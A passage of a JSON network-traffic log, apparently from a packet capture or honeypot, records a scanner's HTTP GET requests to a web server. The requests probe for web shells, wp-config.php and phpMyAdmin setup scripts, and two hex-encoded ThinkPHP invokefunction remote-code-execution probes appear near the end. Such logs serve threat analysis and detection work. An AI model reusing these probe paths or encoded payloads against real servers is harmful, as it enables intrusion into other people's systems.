          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/b.php",
            "http.response_in": "128",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/b.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-828ccbd486e03f4e523668a3",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 127,
          "timestamp_epoch": "1577255372.740954000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/sane.php",
            "http.response_in": "131",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/sane.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-50298a9a8656a8c8e92ffdf9",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 130,
          "timestamp_epoch": "1577255373.008670000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/desktop.ini.php",
            "http.response_in": "134",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/desktop.ini.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c4947b19e746b0096d2d1e5b",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 133,
          "timestamp_epoch": "1577255373.276884000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/z.php",
            "http.response_in": "137",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/z.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0283292c79ff033ea510702b",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 136,
          "timestamp_epoch": "1577255373.546580000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/lala.php",
            "http.response_in": "140",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/lala.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5dad66a8aff00b48ce25404e",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 139,
          "timestamp_epoch": "1577255373.948368000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/lala-dpr.php",
            "http.response_in": "143",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/lala-dpr.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e8935d7746b47325559278ab",
          "src_port": 59314,
          "tcp_stream": 4,
          "udp_stream": null,
          "frame_number": 142,
          "timestamp_epoch": "1577255378.881734000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/wpc.php",
            "http.response_in": "154",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/wpc.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2b984e769adb6092884a8272",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 152,
          "timestamp_epoch": "1577255385.804008000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/wpo.php",
            "http.response_in": "157",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/wpo.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a041499562f206568c7e2f03",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 156,
          "timestamp_epoch": "1577255386.182336000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/t6nv.php",
            "http.response_in": "160",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/t6nv.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0caefac076543c34d36a5f98",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 159,
          "timestamp_epoch": "1577255387.153369000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/muhstik.php",
            "http.response_in": "163",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/muhstik.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-02ccfdd0b69478565e5dba0b",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 162,
          "timestamp_epoch": "1577255387.457217000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/text.php",
            "http.response_in": "166",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/text.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c8e7d4e398d604d6a48cbe13",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 165,
          "timestamp_epoch": "1577255389.821626000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/wp-config.php",
            "http.response_in": "169",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/wp-config.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f20d589ad3470c50a3d2834a",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 168,
          "timestamp_epoch": "1577255390.128031000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/muhstik.php",
            "http.response_in": "172",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/muhstik.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1c7d6cb5007ea11c6432953f",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 171,
          "timestamp_epoch": "1577255390.499651000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/muhstik2.php",
            "http.response_in": "175",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/muhstik2.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b70af9d410c935d94344b2a6",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 174,
          "timestamp_epoch": "1577255390.776754000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/muhstiks.php",
            "http.response_in": "178",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/muhstiks.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b789a4902e6206eef285dd60",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 177,
          "timestamp_epoch": "1577255391.053629000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/muhstik-dpr.php",
            "http.response_in": "181",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/muhstik-dpr.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a983eed2fe287fcfe0b55946",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 180,
          "timestamp_epoch": "1577255391.335069000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/lol.php",
            "http.response_in": "185",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/lol.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ca8073559fe5ae4239f56201",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 183,
          "timestamp_epoch": "1577255393.209701000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/uploader.php",
            "http.response_in": "188",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/uploader.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-08d5fb53873ada89510d2221",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 187,
          "timestamp_epoch": "1577255393.486800000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/cmd.php",
            "http.response_in": "191",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/cmd.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f6ae99ceb7ec9b1fad716ac9",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 190,
          "timestamp_epoch": "1577255393.789840000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/cmv.php",
            "http.response_in": "194",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/cmv.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1eb10c7b6525d757b5442a0c",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 193,
          "timestamp_epoch": "1577255394.762706000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/cmdd.php",
            "http.response_in": "197",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/cmdd.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1e9577738117ff879e8be2df",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 196,
          "timestamp_epoch": "1577255395.039685000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/knal.php",
            "http.response_in": "200",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/knal.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4aed80a350b654e2f89e13dc",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 199,
          "timestamp_epoch": "1577255395.316797000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/cmd.php",
            "http.response_in": "203",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/cmd.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-bc9957d20bc34a3a404f34db",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 202,
          "timestamp_epoch": "1577255396.209008000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/shell.php",
            "http.response_in": "206",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/shell.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5e9dad197868e153dfa569a2",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 205,
          "timestamp_epoch": "1577255396.615418000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/appserv.php",
            "http.response_in": "209",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/appserv.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b41d281845db81496f8ac571",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 208,
          "timestamp_epoch": "1577255397.610060000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/scripts/setup.php",
            "http.response_in": "212",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/scripts/setup.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-224b3de19e0e9711181b7298",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 211,
          "timestamp_epoch": "1577255397.889886000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/phpmyadmin/scripts/setup.php",
            "http.response_in": "216",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmyadmin/scripts/setup.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1aa0fdcf50f4572cfd9fd06f",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 214,
          "timestamp_epoch": "1577255398.680522000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/phpMyAdmin/scripts/setup.php",
            "http.response_in": "219",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin/scripts/setup.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-73df50a1cb1d1370826f9738",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 218,
          "timestamp_epoch": "1577255398.960755000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/scripts/db___.init.php",
            "http.response_in": "222",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/scripts/db___.init.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-04471cddfa22ed5386e99d30",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 221,
          "timestamp_epoch": "1577255399.237692000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/phpmyadmin/scripts/db___.init.php",
            "http.response_in": "225",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmyadmin/scripts/db___.init.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-282b0a039bceda3ec4a313a8",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 224,
          "timestamp_epoch": "1577255399.514678000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/phpMyAdmin/scripts/db___.init.php",
            "http.response_in": "228",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin/scripts/db___.init.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1066bf47d7690680809117e6",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 227,
          "timestamp_epoch": "1577255399.791954000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/pma/scripts/setup.php",
            "http.response_in": "231",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/pma/scripts/setup.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3ee6603c3ff8c4e713ab84c6",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 230,
          "timestamp_epoch": "1577255400.070894000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/PMA/scripts/setup.php",
            "http.response_in": "235",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/PMA/scripts/setup.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-333f1cce457331431315e1b3",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 233,
          "timestamp_epoch": "1577255401.768466000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/myadmin/scripts/setup.php",
            "http.response_in": "238",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/myadmin/scripts/setup.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5c6396038b4bd6d37469218f",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 237,
          "timestamp_epoch": "1577255402.653381000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/MyAdmin/scripts/setup.php",
            "http.response_in": "241",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/MyAdmin/scripts/setup.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6d26efb28df6714153bdf56a",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 240,
          "timestamp_epoch": "1577255402.930694000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/pma/scripts/db___.init.php",
            "http.response_in": "244",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/pma/scripts/db___.init.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-42935d385c4974285b81bb53",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 243,
          "timestamp_epoch": "1577255403.207683000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/PMA/scripts/db___.init.php",
            "http.response_in": "247",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/PMA/scripts/db___.init.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f2a31ca561301c0882d5bfa9",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 246,
          "timestamp_epoch": "1577255403.485514000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/myadmin/scripts/db___.init.php",
            "http.response_in": "250",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/myadmin/scripts/db___.init.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-fc0d44cf0fe85f2395af5b8d",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 249,
          "timestamp_epoch": "1577255403.763204000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/MyAdmin/scripts/db___.init.php",
            "http.response_in": "253",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/MyAdmin/scripts/db___.init.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f1a502b044838d14ee95deaa",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 252,
          "timestamp_epoch": "1577255404.040171000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/plugins/weathermap/editor.php",
            "http.response_in": "256",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/plugins/weathermap/editor.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-df34e7c7cf2b7b1f330dae10",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 255,
          "timestamp_epoch": "1577255405.559617000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/cacti/plugins/weathermap/editor.php",
            "http.response_in": "259",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/cacti/plugins/weathermap/editor.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-84ab0ed91c6a628350b09cc1",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 258,
          "timestamp_epoch": "1577255405.836615000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/weathermap/editor.php",
            "http.response_in": "262",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/weathermap/editor.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f24b0dc5bbdef180d6fd9717",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 261,
          "timestamp_epoch": "1577255406.113808000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50",
            "http.response_in": "265",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ed4b94d372b32f305bebfe10",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 264,
          "timestamp_epoch": "1577255406.392481000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50",
            "http.response_in": "268",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-22dcc06da44ef14df84a9034",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 267,
          "timestamp_epoch": "1577255406.674669000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
